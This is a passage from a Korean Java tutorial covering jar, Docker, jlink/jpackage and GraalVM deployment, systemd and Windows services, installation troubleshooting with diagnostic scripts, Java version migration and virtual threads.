전달 방법 네 가지 — 받는 쪽에 자바가 필요한가로 갈립니다 ① 보통 jar 수 MB 자바 필요 라이브러리는 따로 사내 도구 · 라이브러리 ② 실행 가능 jar 수십 MB 자바 필요 의존성 전부 포함 스프링 부트의 기본 ③ jlink · jpackage 40~150MB 자바 불필요 런타임을 잘라 동봉 데스크톱 앱 배포 ④ Docker 이미지 200MB 안팎 자바 불필요 OS 계층까지 포함 서버 배포의 표준 어떻게 고르나 서버에 올린다 → ④ Docker (또는 ② jar 를 systemd 로) 일반 사용자에게 준다 → ③ jpackage 로 .msi · .dmg · .deb 를 만듭니다 개발팀 안에서 돌린다 → ② jar 하나면 충분합니다. 가장 단순한 것이 가장 안전합니다 시작 속도가 정말 중요하면 GraalVM 네이티브 이미지라는 다섯 번째 선택지가 있습니다 대신 빌드가 몇 분 걸리고 리플렉션 설정이 필요합니다 — 먼저 ②로 시작하세요 어느 방법이든 실행 명령의 뿌리는 java -jar 하나입니다
고민의 기준은 성능이 아니라 “받는 사람에게 자바가 있는가” 입니다.

jar 로 만들고 돌리기

# 스프링 부트 — 실행 가능 jar 가 나옵니다
./gradlew bootJar
ls build/libs/
# demo-0.0.1-SNAPSHOT.jar        ← 이거 하나면 끝

java -jar build/libs/demo-0.0.1-SNAPSHOT.jar

# 일반 자바 애플리케이션 (부트가 아닌 경우)
./gradlew build          # build/libs/app.jar — 라이브러리는 빠져 있습니다

# 안에 뭐가 들었나
jar tf demo-0.0.1-SNAPSHOT.jar | head
unzip -p demo-0.0.1-SNAPSHOT.jar META-INF/MANIFEST.MF
# Main-Class: org.springframework.boot.loader.launch.JarLauncher
# Start-Class: com.example.demo.DemoApplication

# 운영에서 자주 쓰는 옵션 묶음
java -XX:MaxRAMPercentage=75 \
     -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/ \
     -Duser.timezone=Asia/Seoul -Dfile.encoding=UTF-8 \
     -jar app.jar --spring.profiles.active=prod
no main manifest attribute 가 나오면 실행 가능 jar 가 아닌 것을 실행한 것입니다. 스프링에서는 build 가 demo-plain.jar(코드만)도 함께 만드는데, 그것을 실행하면 이 에러가 납니다 — -plain 이 없는 쪽을 쓰세요.

Docker — 자바를 이미지에 담아 보내기

# Dockerfile — 두 단계로 나눠 캐시를 살립니다
FROM eclipse-temurin:21-jdk AS build
WORKDIR /src
COPY gradlew settings.gradle.kts build.gradle.kts ./
COPY gradle gradle
RUN ./gradlew dependencies --no-daemon   # 의존성만 먼저 (캐시 층)
COPY src src
RUN ./gradlew bootJar --no-daemon

# 실행에는 JRE 이미지로 충분합니다 (Dockerfile 은 명령 줄 끝 주석을 허용하지 않습니다)
FROM eclipse-temurin:21-jre
WORKDIR /app
COPY --from=build /src/build/libs/*.jar app.jar
ENV TZ=Asia/Seoul
ENV JAVA_TOOL_OPTIONS="-XX:MaxRAMPercentage=75 -Dfile.encoding=UTF-8"
EXPOSE 8080
ENTRYPOINT ["java","-jar","/app/app.jar"]
docker build -t demo:1.0 .
docker run --rm -p 8080:8080 demo:1.0

# 이미지를 아예 Gradle 이 만들게 할 수도 있습니다 (Dockerfile 없이)
./gradlew bootBuildImage
태그 고르기 — eclipse-temurin:21-jre 가 무난하고, 더 작게는 21-jre-alpine(musl 기반 — 네이티브 라이브러리와 충돌할 수 있음), 보안을 중시하면 distroless 계열을 씁니다. latest 태그는 쓰지 마세요 — 어느 날 자바 버전이 바뀝니다.

자바 없는 PC 에 주기 — jlink · jpackage 🔴 고급

런타임을 잘라 내기

# ① 내 앱이 어떤 모듈을 쓰는지 조사
jdeps --print-module-deps --ignore-missing-deps app.jar
# java.base,java.desktop,java.logging,java.sql

# ② 그 모듈만 담은 미니 런타임 만들기 (JAVA_HOME 대신 쓸 수 있는 폴더)
jlink --add-modules java.base,java.desktop,java.logging,java.sql \
      --strip-debug --no-header-files --no-man-pages --compress=zip-6 \
      --output myruntime

du -sh myruntime      # 40MB 안팎 (전체 JDK 는 300MB 이상)
./myruntime/bin/java -version

# ③ 설치 파일로 포장하기
jpackage --name MyApp --app-version 1.0 \
         --input build/libs --main-jar app.jar \
         --main-class com.example.Main \
         --runtime-image myruntime \
         --type msi --win-menu --win-shortcut
# 윈도우 → .msi · .exe   맥 → .dmg · .pkg   리눅스 → .deb · .rpm
jpackage 는 그 OS 에서만 만들 수 있습니다 — 윈도우 설치 파일은 윈도우에서, dmg 는 맥에서 만들어야 합니다. (윈도우에서는 WiX Toolset 이 추가로 필요합니다.) 그래서 실무에서는 GitHub Actions 의 OS 별 러너로 세 개를 한꺼번에 굽습니다.

GraalVM 네이티브 이미지 — 개요만

# 설치 (SDKMAN 이 가장 쉽습니다)
sdk install java 25.0.2-graalce
sdk use java 25.0.2-graalce
native-image --version

# 스프링 부트는 플러그인 한 줄이면 됩니다
# build.gradle.kts:  id("org.graalvm.buildtools.native") version "0.11.0"
./gradlew nativeCompile
./build/native/nativeCompile/demo
# Started DemoApplication in 0.081 seconds   ← 80밀리초!

# 도커 이미지로
./gradlew bootBuildImage --imageName=demo-native \
  -Pspring.aot.enabled=true
보통 JVM네이티브
시작 시간1~3초0.1초 이하
메모리300MB+50~100MB
빌드 시간수십 초수 분
최대 처리량더 높음 (JIT)조금 낮음
리플렉션자유사전 설정 필요
언제 쓰나 — 서버리스(Lambda)나 CLI 도구처럼 “뜨자마자 일하고 죽는” 워크로드입니다. 오래 도는 웹 서버라면 JIT 이 예열된 보통 JVM 이 더 빠릅니다. 처음 배우는 단계에서는 존재만 알아 두면 충분합니다.

서버에 그냥 jar 로 올릴 때 — systemd 서비스 🟡 중급

nohup 대신 서비스로 등록합니다

# /etc/systemd/system/demo.service
[Unit]
Description=Demo Spring Boot App
After=network.target

[Service]
User=appuser
WorkingDirectory=/opt/demo
Environment=JAVA_HOME=/usr/lib/jvm/temurin-21-jdk-amd64
Environment=TZ=Asia/Seoul
Environment=JAVA_TOOL_OPTIONS=-Dfile.encoding=UTF-8
ExecStart=/usr/lib/jvm/temurin-21-jdk-amd64/bin/java \
          -XX:MaxRAMPercentage=75 -jar /opt/demo/app.jar
SuccessExitStatus=143
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl enable --now demo
sudo systemctl status demo
sudo journalctl -u demo -f          # 로그 실시간으로
ExecStart 에는 java 가 아니라 절대 경로를 씁니다 — systemd 는 로그인 셸을 거치지 않아서 ~/.bashrc 의 PATH 를 안 읽습니다. “내 계정에선 되는데 서비스로는 안 뜬다”의 원인이 거의 이것입니다. SuccessExitStatus=143 은 정상 종료(SIGTERM)를 실패로 안 보이게 하는 관례입니다.

윈도우 서비스로 띄우려면

# 개발 중 그냥 백그라운드로
Start-Process java -ArgumentList '-jar','app.jar' -WindowStyle Hidden

# 진짜 서비스로 등록하려면 도우미가 필요합니다
#   WinSW      (winsw.exe + xml 하나) — 가장 간단
#   NSSM       (nssm install DemoApp)
#   sc.exe 로 직접 등록하면 자바가 서비스로 잘 안 뜹니다

# WinSW 예시 — demo.xml
# <service>
#   <id>demo</id>
#   <name>Demo App</name>
#   <executable>%JAVA_HOME%\bin\java.exe</executable>
#   <arguments>-jar C:\app\app.jar</arguments>
#   <logmode>rotate</logmode>
# </service>
# winsw.exe install demo.xml
# winsw.exe start   demo.xml
윈도우 서비스는 “시스템 계정”으로 돕니다 — 내 사용자 변수에 넣은 JAVA_HOME 은 안 보입니다. 서비스로 띄울 계획이라면 시스템 변수 쪽에 넣으세요(st03). 네트워크 드라이브·사용자 폴더 접근도 같은 이유로 실패합니다.
정리 — 개발팀 안에서는 java -jar, 서버는 Docker(eclipse-temurin:21-jre), 일반 사용자에게는 jlink + jpackage. GraalVM 네이티브는 시작 속도가 곧 돈일 때만 꺼내는 카드입니다.
SETUP 12

설치 문제 사전 — 증상 → 원인 → 해결

여기까지 따라 했는데도 안 되는 경우를 모았습니다. 에러 메시지를 그대로 찾아 해당 줄을 보세요. 대부분 “무엇이 어느 자바를 가리키고 있나” 하나로 설명됩니다.

막혔을 때 이 순서대로 — 네 관문 ① java -version 안 되면 PATH 문제 → st03 · 터미널 재시작 ② javac -version 안 되면 JRE 만 깔림 또는 옛 자바가 앞에 ③ JAVA_HOME 비었거나 bin 까지 적혀 있으면 고칩니다 ④ gradlew 여기서만 실패면 데몬 · IDE 설정 각 관문에서 쓰는 확인 명령 ① where.exe java · which -a java — 후보가 여러 줄이면 맨 윗줄이 이깁니다 ② javac -version — 없으면 JDK 가 아닙니다. -jre / -devel 패키지 확인 (st04) ③ echo $env:JAVA_HOME · echo $JAVA_HOME — 그 폴더에 bin·conf·lib 가 보여야 정답 ④ ./gradlew --stop 후 ./gradlew -q javaToolchains — Gradle 이 보는 자바 목록 순서를 지키면 원인이 저절로 좁혀집니다 — 아무 데나 손대면 더 꼬입니다 고친 뒤에는 반드시 터미널과 IDE 를 새로 여세요. 값은 시작할 때 한 번만 복사됩니다 그래도 안 되면 JDK 를 지우고 st02 를 처음부터 다시 하는 편이 빠를 때가 많습니다
문제 해결의 8할은 “지금 실제로 어느 자바가 도는가”를 확인하는 일입니다.

증상 → 원인 → 해결 표

증상 (에러 메시지)원인해결
'java'은(는) 내부 또는 외부 명령…
java: command not found
PATH 에 JDK 의 bin 이 없거나, 넣고 나서 터미널을 안 닫음 st03 으로 %JAVA_HOME%\bin 추가 → 터미널을 전부 닫고 새로. 그래도 안 되면 where.exe java 로 후보 확인
javac: command not found
java 는 되는데 javac 만 없음
JRE 만 깔렸거나(-jre·-devel 누락), 옛 jre1.8.0_x 가 PATH 앞에 있음 JDK 설치(st02·st04). 리눅스는 -jdk/-devel 패키지. 윈도우는 PATH 에서 옛 항목 제거
JAVA_HOME is set to an invalid directory JAVA_HOME 에 \bin 까지 적었거나, 지운 폴더를 가리킴 ★ bin 의 부모 폴더로 고칩니다. 그 폴더에 bin·conf·lib 가 있는지 눈으로 확인
깐 것은 25 인데 java -version 은 8 PATH 앞쪽의 …\Oracle\Java\javapath 나 옛 JDK 가 먼저 잡힘 where.exe java 로 맨 윗줄 확인 → 환경 변수에서 순서를 올리거나 옛 항목 삭제(st03)
Unsupported class file major version 69 Java 25(major 69)로 만든 클래스를 더 낮은 자바로 읽음. Gradle·플러그인이 새 자바를 아직 모를 때도 발생 실행 자바를 올리거나, 툴체인/options.release 로 낮춰 빌드(st05·st06). Gradle 자체를 최신으로 올리는 것도 방법
IDE 는 멀쩡한데 ./gradlew build 만 실패 IDE 의 JDK 와 Gradle 데몬의 JDK 가 다름 ./gradlew --stop 후 ./gradlew -q javaToolchains. IntelliJ 는 세 자리 확인(st07)
Could not determine java version from '25' Gradle 이 너무 낡아 새 자바를 못 알아봄 ./gradlew wrapper --gradle-version 9.1.0 로 래퍼 업그레이드(st06)
Port 8080 was already in use 아까 띄운 서버가 안 죽었거나 다른 앱이 점유 netstat -ano | findstr :8080 → taskkill /PID x /F. 또는 --server.port=8081(st09)
PKIX path building failed
unable to find valid certification path
사내 프록시가 HTTPS 를 가로채며 자체 서명 인증서를 끼워 넣음 회사 루트 인증서를 keytool -importcert -cacerts -alias corp -file corp.crt(비밀번호 changeit). JDK 바꿀 때마다 다시(st06)
콘솔 한글이 ????? · 占쏙옙 소스·컴파일·콘솔 중 한 곳의 인코딩이 어긋남 chcp 65001, 빌드에 -encoding UTF-8, 소스 UTF-8 저장(st10)
경로에 한글·공백이 있을 때의 온갖 오류
ClassNotFoundException · 빌드 실패
일부 도구가 비ASCII 경로·공백을 제대로 못 다룸 프로젝트를 C:\dev\프로젝트명 이 아니라 C:\dev\myproj 로. 사용자 이름이 한글이면 더 잘 터집니다
no main manifest attribute 실행 가능 jar 가 아닌 -plain.jar 를 실행 bootJar 산출물(-plain 없는 것)을 실행(st11)
gradlew: Permission denied 실행 권한이 없음(맥·리눅스·WSL) chmod +x gradlew → git update-index --chmod=+x gradlew 로 커밋
WSL 에서 자바가 윈도우 것으로 잡힘 WSL 이 윈도우 PATH 를 이어받음 리눅스 쪽에 JDK 설치 후 PATH 앞에 두거나 /etc/wsl.conf 로 상속 차단(st04)

진단 스크립트 — 한 번에 다 찍어 보기 🟢 기초

윈도우 PowerShell

# 그대로 붙여 넣으면 필요한 정보가 전부 나옵니다.
# 도움을 청할 때 이 출력을 함께 보내면 대화가 빨라집니다.

Write-Host "== java =="        ; java -version
Write-Host "== javac =="       ; javac -version
Write-Host "== JAVA_HOME =="   ; $env:JAVA_HOME
Write-Host "== where java =="  ; where.exe java
Write-Host "== where javac ==" ; where.exe javac
Write-Host "== PATH(java) ==="
$env:Path -split ';' | Where-Object { $_ -match 'java|jdk|adoptium|graal' }
Write-Host "== 설치된 JDK =="
Get-ChildItem 'C:\Program Files\Eclipse Adoptium','C:\Program Files\Java',
              "$env:LOCALAPPDATA\Programs\Eclipse Adoptium" -ErrorAction SilentlyContinue |
  Select-Object -ExpandProperty Name
Write-Host "== Gradle =="      ; if (Test-Path .\gradlew.bat) { .\gradlew.bat --version }
Write-Host "== 실행 중 JVM ==" ; jps -l

맥 · 리눅스 · WSL

echo "== java =="       ; java -version 2>&1
echo "== javac =="      ; javac -version 2>&1
echo "== JAVA_HOME ==" ; echo "$JAVA_HOME"
echo "== which =="      ; which -a java javac
echo "== 실제 파일 ==" ; readlink -f "$(which java)"
echo "== 설치 목록 =="
ls /usr/lib/jvm 2>/dev/null
/usr/libexec/java_home -V 2>&1 || true      # 맥 전용
sdk current 2>/dev/null || true             # SDKMAN 쓸 때
echo "== Gradle =="     ; [ -x ./gradlew ] && ./gradlew --version
echo "== 실행 중 JVM ==" ; jps -l
jps -l 은 몰라서 못 쓰는 명령입니다 — 지금 이 PC 에서 도는 자바 프로세스를 전부 보여 줍니다. “포트가 이미 쓰이고 있다”거나 “서버를 껐는데 안 꺼졌다” 싶을 때 가장 먼저 쳐 보세요. JDK 에 기본 포함된 도구입니다.
마지막 처방 — 깨끗이 지우고 다시 깔기. 자바 환경은 흔적이 남아 꼬이는 경우가 많습니다. 순서는 이렇습니다. ① 제어판 → 프로그램 제거에서 Java 로 시작하는 모든 항목을 지웁니다 (옛 Java 8 업데이트가 여러 개 남아 있는 경우가 흔합니다). ② 환경 변수에서 JAVA_HOME 을 지우고, PATH 에서 javapath · 옛 JDK 경로를 전부 뺍니다. ③ 재부팅합니다. ④ st02 를 처음부터 다시 합니다. 30분이면 끝나고, 이상한 증상을 몇 시간 뒤쫓는 것보다 훨씬 빠릅니다.
정리 — 막히면 ① java → ② javac → ③ JAVA_HOME → ④ gradlew 네 관문을 순서대로. 확인 명령은 where/which -a, echo JAVA_HOME, ./gradlew --stop 셋이면 충분합니다. 그리고 무엇을 고쳤든 터미널과 IDE 를 새로 열어야 반영됩니다.
Java 25 LTS · 가상 스레드 · 구조적 동시성 · 스코프 값 · 패턴 매칭 · FFM · AOT 캐시 · Spring AI

자바는 지금
다시 쓰는 언어가
되었습니다

2023년 Java 21, 2025년 Java 25 를 지나며 자바는 문법이 아니라 실행 모델이 바뀌었습니다. 스레드를 아껴 쓰던 시대가 끝났고(가상 스레드), 동시 작업을 try 블록처럼 묶게 되었고(구조적 동시성), if-instanceof 사슬이 패턴 매칭으로 접혔고, C 라이브러리를 JNI 없이 부르게 되었고(FFM), 기동 시간을 AOT 캐시로 절반으로 줄이게 되었습니다. 이 탭은 “무엇이 새로 생겼나”가 아니라 “그래서 내 코드를 어떻게 바꾸나”만 다룹니다. 이 탭을 마치면 Java 8/11 로 짠 서비스를 21/25 로 올리고, 그 위에서 새 기능을 골라 쓸 수 있게 됩니다.

13SECTIONS
25 LTS기준 (21 호환 표기)
13시각화
100%복붙해서 도는 예제
MODERN 01

왜 지금 자바가 다시 빨라졌나 — 8 → 17 → 21 → 25

“자바는 느리고 장황하다”는 인상은 대부분 Java 8 시절의 기억입니다. 그 사이 자바는 6개월마다 새 버전을 내면서 문법·런타임·기동 시간을 전부 갈아엎었습니다. 먼저 무엇이 언제 들어왔는지 지도를 그리고, 그다음 내 프로젝트를 어디에 놓을지 정합니다.

자바 LTS 다섯 단계 — 무엇이 언제 들어왔나 LTS 간격 3년 2년 2년 Java 8 Java 11 Java 17 Java 21 Java 25 2014.03 람다 · 스트림 아직 최다 사용 2018.09 var · 모듈 HttpClient 표준 2021.09 record · sealed 텍스트 블록 2023.09 가상 스레드 패턴 매칭 2025.09 ScopedValue AOT 캐시 · 헤더 작은 눈금 = 6개월마다 나오는 중간 버전 (10 ~ 26) LTS 를 고르는 이유 보안 패치가 수년간 나옵니다. 운영 서버는 LTS 만 씁니다 중간 버전(22 · 23 · 24 · 26)은 다음 LTS 의 예고편입니다 중간 버전을 보는 이유 프리뷰로 검증된 기능만 LTS 에 정식으로 들어옵니다 개발 PC 에서만 미리 써 보고 운영은 LTS 로 배포합니다 프리뷰 기능은 플래그 없이는 아예 컴파일되지 않습니다 javac --release 25 --enable-preview Main.java · java --enable-preview Main 컴파일한 JDK 와 major 버전이 정확히 같아야 실행됩니다 — 25 로 만든 프리뷰 클래스는 26 에서 안 돕니다 그래서 프리뷰 기능은 라이브러리·공통 모듈에 넣지 말고, 갈아엎기 쉬운 자리에서만 씁니다
운영은 LTS, 실험은 중간 버전 + --enable-preview — 이 두 줄이 버전 전략의 전부입니다.

버전이 오를 때마다 사라진 “관용구”

// ── Java 8 시절 ──────────────────────────────
List<String> names = new ArrayList<String>();
for (User u : users) {
    if (u.getAge() >= 20) names.add(u.getName());
}
Collections.sort(names);
String joined = String.join(",", names);

// ── 지금 (Java 21+) ──────────────────────────
var names = users.stream()
        .filter(u -> u.age() >= 20)   // record 라 getter 가 age()
        .map(User::name)
        .sorted()
        .toList();                    // Java 16+ : 불변 리스트 한 방에
var joined = String.join(",", names);

// ── 타입 분기: Java 8 ────────────────────────
if (shape instanceof Circle) {
    Circle c = (Circle) shape;        // 형변환을 또 씁니다
    return Math.PI * c.getR() * c.getR();
} else if (shape instanceof Rect) { ... }

// ── 지금 (Java 21+) ──────────────────────────
return switch (shape) {               // sealed 라 default 가 필요 없습니다
    case Circle(double r)        -> Math.PI * r * r;
    case Rect(double w, double h) -> w * h;
};
여기서 중요한 것 — 줄 수가 준 게 아니라 틀릴 수 있는 자리가 줄었습니다. 형변환·널 검사·break 누락·가변 리스트 노출이 전부 문법 차원에서 사라집니다. “최신 문법을 쓰자”가 취향 문제가 아닌 이유입니다.

단계별로 무엇을 얻나 — 결정표

올리면가장 크게 얻는 것대가
8 → 11var, 표준 HttpClient, G1 기본, 컨테이너 인식JAXB·CORBA 제거, 모듈 경계
11 → 17record · sealed · switch 식 · 텍스트 블록 · ZGC강한 캡슐화(리플렉션 차단)
17 → 21가상 스레드 · 패턴 매칭 · SequencedCollection드라이버 핀닝 점검
21 → 25ScopedValue 정식 · AOT 캐시 · 압축 객체 헤더Security Manager 완전 제거
25 → 26+다음 LTS(29) 예고편 — 운영엔 아직지원 기간 6개월
가장 아픈 벽은 11 → 17 입니다 — 문법이 아니라 리플렉션 차단(강한 캡슐화) 때문입니다. Lombok·Mockito·Jackson·바이트버디처럼 JDK 내부를 들여다보는 라이브러리가 전부 버전을 타므로, JDK 를 올리기 전에 의존성부터 올려야 합니다 — 자세한 순서는 v13 에서 다룹니다.

먼저 확인 — 지금 내 프로젝트는 어디에 있나 🟢 기초

세 가지 버전은 서로 다릅니다 ★

# ① 지금 깔린 JDK — 컴파일러가 도는 버전
java -version
javac -version

# ② 이 빌드가 만든 클래스 파일의 목표 버전
javap -verbose -cp build/classes/java/main com.example.App | grep major
#   major version: 52 → Java 8
#   major version: 61 → Java 17
#   major version: 65 → Java 21
#   major version: 69 → Java 25   (major = 버전 + 44)

# ③ 실행할 때 쓰이는 JVM (컨테이너 안은 다를 수 있습니다)
jcmd <pid> VM.version

# 세 개가 전부 달라도 정상입니다 —
#   JDK 25 로 컴파일하면서 --release 17 로 클래스는 17 목표로,
#   운영에서는 JDK 21 로 실행하는 조합이 실제로 흔합니다.
UnsupportedClassVersionError 를 읽는 법 — “class file version 65.0, this version … 61.0” 은 Java 21 로 만든 것을 Java 17 로 실행했다는 뜻입니다. 앞 숫자가 만든 버전, 뒤 숫자가 실행 버전입니다.

빌드에서 버전을 고정하는 자리

// build.gradle.kts — 툴체인으로 고정하는 것이 정석입니다
java {
    toolchain {
        // 개발자 PC 에 25 가 없으면 Gradle 이 알아서 받아 줍니다
        languageVersion = JavaLanguageVersion.of(25)
    }
}

tasks.withType<JavaCompile> {
    options.release.set(25)            // ★ sourceCompatibility 보다 이쪽
    // 프리뷰 기능을 쓸 때만 (v05 구조적 동시성 등)
    // options.compilerArgs.add("--enable-preview")
}
tasks.withType<Test> { jvmArgs("--enable-preview") }
tasks.withType<JavaExec> { jvmArgs("--enable-preview") }
<!-- pom.xml -->
<properties>
  <maven.compiler.release>25</maven.compiler.release>
</properties>
release 와 source/target 의 차이 ★ — source/target 은 문법만 옛 버전으로 검사하고 API 는 새 JDK 것을 그대로 씁니다. 그래서 JDK 25 로 -target 8 빌드한 jar 가 Java 8 에서 NoSuchMethodError 로 죽습니다. --release 8 은 그 시절 API 만 보이게 막아 줍니다 — 무조건 이쪽입니다.

마이그레이션 체크리스트 — 올리기 전에 훑는 10줄 🟡 중급

한 시간이면 끝나는 사전 점검

# ① 사라질 API 를 쓰고 있나 (제거 예정 표시된 것 전부)
jdeprscan --release 25 build/libs/app.jar

# ② JDK 내부(sun.*, com.sun.*)를 몰래 쓰는 의존성이 있나 ★
jdeps --jdk-internals -R --multi-release 25 build/libs/app.jar

# ③ 의존성 중 새 JDK 를 못 읽는 것이 있나 (major version 확인)
unzip -p some-lib.jar 'com/foo/Bar.class' | xxd -s 6 -l 2
#   00 34 = 52(Java 8) · 00 41 = 65(Java 21)

# ④ 런타임만 먼저 올려 보기 — 소스는 그대로 두고 새 JVM 으로 실행
#    (여기서 깨지면 문법이 아니라 라이브러리 문제입니다)
JAVA_HOME=/opt/jdk-25 ./gradlew test

# ⑤ 리플렉션 차단에 걸리는 곳 미리 보기
java --illegal-access=deny -jar app.jar   # (17+ 는 이미 기본 동작)
순서를 지키세요 — 의존성 최신화 → 런타임만 교체 → 소스 레벨 상향 → 새 문법 도입. 네 가지를 한 커밋에 몰아넣으면 무엇이 깨뜨렸는지 못 찾습니다. 실제 단계별 절차와 롤백 계획은 v13 에서 통째로 다룹니다.

2026년 기준 현실적인 선택

상황권장
새로 시작하는 서비스Java 25 LTS + Spring Boot 4.x
Java 17 운영 중21 로 먼저 → 가상 스레드 검증 → 25
Java 11 운영 중17 을 경유. 11 → 25 직행은 권하지 않습니다
Java 8 레거시런타임만 11 → 17, 소스는 나중에
가상 스레드가 목적24 이상 — 핀닝이 대부분 사라집니다
기동 시간이 목적25 — AOT 캐시(-XX:AOTCache)
라이브러리를 배포--release 17 로 폭넓게 (프리뷰 금지)
“21 이냐 25 냐”로 고민 중이라면 — 둘 다 LTS 이고 문법 차이는 크지 않습니다. 갈리는 지점은 세 가지입니다: ① synchronized 핀닝 해소(24+), ② ScopedValue 정식(25), ③ AOT 캐시·압축 객체 헤더(24/25). 가상 스레드를 진짜로 쓸 거라면 25 가 압도적으로 편합니다.
정리 — 자바 버전 전략은 “운영은 LTS, 실험은 중간 버전” 한 줄입니다. 지금 기준선은 Java 25 LTS이고, 21 에서 25 로 올릴 이유는 문법이 아니라 핀닝 해소 · ScopedValue 정식 · AOT 캐시 세 가지입니다. 올릴 때는 의존성 → 런타임 → 소스 레벨 순서를 절대 섞지 마세요.
MODERN 02

가상 스레드 — 스레드를 아끼지 않아도 되는 시대

가상 스레드는 “빨라지는 기능”이 아니라 스레드를 자원으로 취급하지 않아도 되게 만드는 기능입니다. 그 차이를 이해하려면 스레드가 블로킹될 때 실제로 무슨 일이 벌어지는지부터 봐야 합니다. 여기서는 마운트·언마운트·캐리어라는 세 단어만 확실히 잡습니다.

플랫폼 스레드 vs 가상 스레드 — 기다리는 동안 무엇이 묶여 있나 0 10 20 30 40 50 60 ms ① 플랫폼 스레드 — 자바 스레드 1 : OS 스레드 1 (평생 고정) OS 스레드 #42 실행 DB 대기 40 ms — OS 스레드도 함께 잠듦 실행 스택 = OS 가 잡은 고정 메모리 512KB~1MB — 200개 풀이면 느린 API 하나에 200 요청이 막힙니다 ② 가상 스레드 — 스택은 힙에, 실행할 때만 캐리어에 올라탑니다 캐리어 1 A B C D · E · F … 쉬지 않고 계속 힙 (대기 중 스택) A 의 스택 프레임 — 힙 위 객체 (수 KB) 캐리어 2 다른 가상 스레드들 A 재개 언마운트 마운트 (아무 캐리어) DB 응답 40 ms 동안 위는 OS 스레드가 놀고, 아래 캐리어는 B · C · D … 를 처리합니다 언마운트 = 스택 프레임을 힙으로 옮기고 캐리어를 놓아 주는 것 — 이 일을 컨티뉴에이션이 합니다 그래서 “스레드가 기다린다”가 더 이상 “OS 스레드가 논다”와 같은 말이 아니게 되었습니다
가상 스레드의 정체는 블로킹 지점에서 스택을 힙으로 옮길 수 있는 스레드입니다 — 나머지는 전부 여기서 나옵니다.

만드는 법 네 가지 — 그리고 각각 언제

// ① 딱 하나 띄우고 잊기 (fire and forget)
Thread.startVirtualThread(() -> sendMail(order));

// ② 이름·예외 처리를 붙여서 (★ 운영 코드는 이쪽)
Thread t = Thread.ofVirtual()
        .name("settle-", 0)                     // settle-0, settle-1 …
        .uncaughtExceptionHandler((th, e) ->
                log.error("[{}] 실패", th.getName(), e))
        .start(() -> settle(id));
t.join();                                       // 기다릴 수 있습니다

// ③ 작업 단위로 뿌리고 결과를 모으기 (가장 흔한 형태)
try (var ex = Executors.newVirtualThreadPerTaskExecutor()) {
    List<Future<Item>> fs = ids.stream()
            .map(id -> ex.submit(() -> client.fetch(id)))
            .toList();
    for (var f : fs) collect(f.get());
}   // close() 가 전부 끝날 때까지 기다립니다 (try-with-resources)

// ④ 팩토리만 넘겨 기존 API 에 꽂기
ThreadFactory tf = Thread.ofVirtual().name("api-", 0).factory();
var ex = Executors.newThreadPerTaskExecutor(tf);

// 지금 가상 스레드 위인지 확인 (라이브러리에서 분기할 때)
boolean v = Thread.currentThread().isVirtual();
newVirtualThreadPerTaskExecutor() 는 “풀”이 아닙니다 — 이름 그대로 작업마다 새 가상 스레드를 만들고 끝나면 버립니다. 재사용하지 않으므로 ThreadLocal 오염도, 풀 크기 튜닝도 없습니다. ExecutorService 인터페이스를 그대로 쓰는 건 기존 코드를 안 고치기 위해서일 뿐입니다.

캐리어와 스케줄러 — 손잡이는 두 개뿐

# 가상 스레드를 실제로 굴리는 것은 전용 ForkJoinPool 입니다.
# 손잡이는 시스템 프로퍼티 두 개가 전부입니다.

# ① 동시에 '실행 중'일 수 있는 가상 스레드 수 (기본 = CPU 코어 수)
-Djdk.virtualThreadScheduler.parallelism=8

# ② 일시적으로 늘어날 수 있는 캐리어 상한 (기본 256)
#    핀닝이나 파일 I/O 로 캐리어가 묶일 때 여기까지 늘어납니다
-Djdk.virtualThreadScheduler.maxPoolSize=256

# 확인 — 캐리어 스레드는 이름으로 알아볼 수 있습니다
jcmd <pid> Thread.print | grep ForkJoinPool-1-worker
#   "ForkJoinPool-1-worker-3"  ← 이것이 캐리어입니다
플랫폼가상
스택 위치OS 예약 메모리힙(객체)
생성 비용수백 μs수 μs
전환 비용커널 진입JVM 안에서
개수 상한수천수백만
우선순위·데몬설정 가능고정(항상 데몬)
풀에 담기필수하지 마세요
항상 데몬이라는 뜻 — main 이 끝나면 가상 스레드도 같이 죽습니다. 배치 프로그램에서 startVirtualThread 만 던져 놓고 main 을 끝내면 아무 일도 안 일어난 채 종료됩니다. join() 하거나 try (var ex = ...) 로 감싸세요.

언제 이득이고 언제 아닌가 — 리틀의 법칙 한 줄 🟡 중급

숫자로 판단하기

리틀의 법칙:   필요한 동시 스레드 수 = 처리량(TPS) × 평균 응답시간(초)

[사례 A] 외부 API 를 부르는 조회 API
   목표 500 TPS, 외부 API 평균 400ms
   → 필요한 동시 실행 = 500 × 0.4 = 200 개
   플랫폼 스레드 200개 = 스택만 200MB, 컨텍스트 스위치 폭증
   가상 스레드 200개  = 사실상 공짜.  ✅ 이득이 큽니다

[사례 B] 느린 협력사 API (평균 3초) 를 100 TPS 로
   → 필요한 동시 실행 = 100 × 3 = 300 개
   기존엔 톰캣 maxThreads=200 에서 큐가 밀려 타임아웃
   ✅ 가상 스레드로 바꾸면 그냥 흘러갑니다

[사례 C] 이미지 리사이즈 · 암호화 · 압축 (CPU 를 계속 씀)
   → 동시에 진짜로 일할 수 있는 것은 '코어 수'뿐
   가상 스레드 1000개를 만들어도 캐리어가 8개면 8개만 돕니다
   ❌ 이득 없음. 오히려 컨텍스트가 늘어 미세하게 손해입니다

[사례 D] 이미 WebFlux·Netty 로 논블로킹인 코드
   → 이미 스레드를 안 붙잡고 있습니다
   ❌ 갈아탈 이유가 성능에는 없습니다 (가독성이라면 이유가 됩니다)

CPU 바운드에는 왜 소용없나

// ❌ 흔한 오해 — "가상 스레드니까 1만 개 돌리면 빠르겠지"
try (var ex = Executors.newVirtualThreadPerTaskExecutor()) {
    for (var img : images) ex.submit(() -> resize(img));   // 순수 CPU 작업
}
//  캐리어는 코어 수(예: 8)뿐입니다.
//  가상 스레드 1만 개가 8자리를 두고 줄을 설 뿐,
//  총 CPU 시간은 1도 줄지 않습니다. 오히려 스택 청크 1만 개가 힙을 먹습니다.

// ✅ CPU 작업은 예전 그대로 — 코어 수만큼의 플랫폼 스레드 풀
private static final ExecutorService CPU =
        Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors());

// ✅ 섞여 있으면 나눕니다 — I/O 는 가상, 계산은 고정 풀
try (var io = Executors.newVirtualThreadPerTaskExecutor()) {
    var futures = urls.stream()
        .map(u -> io.submit(() -> {
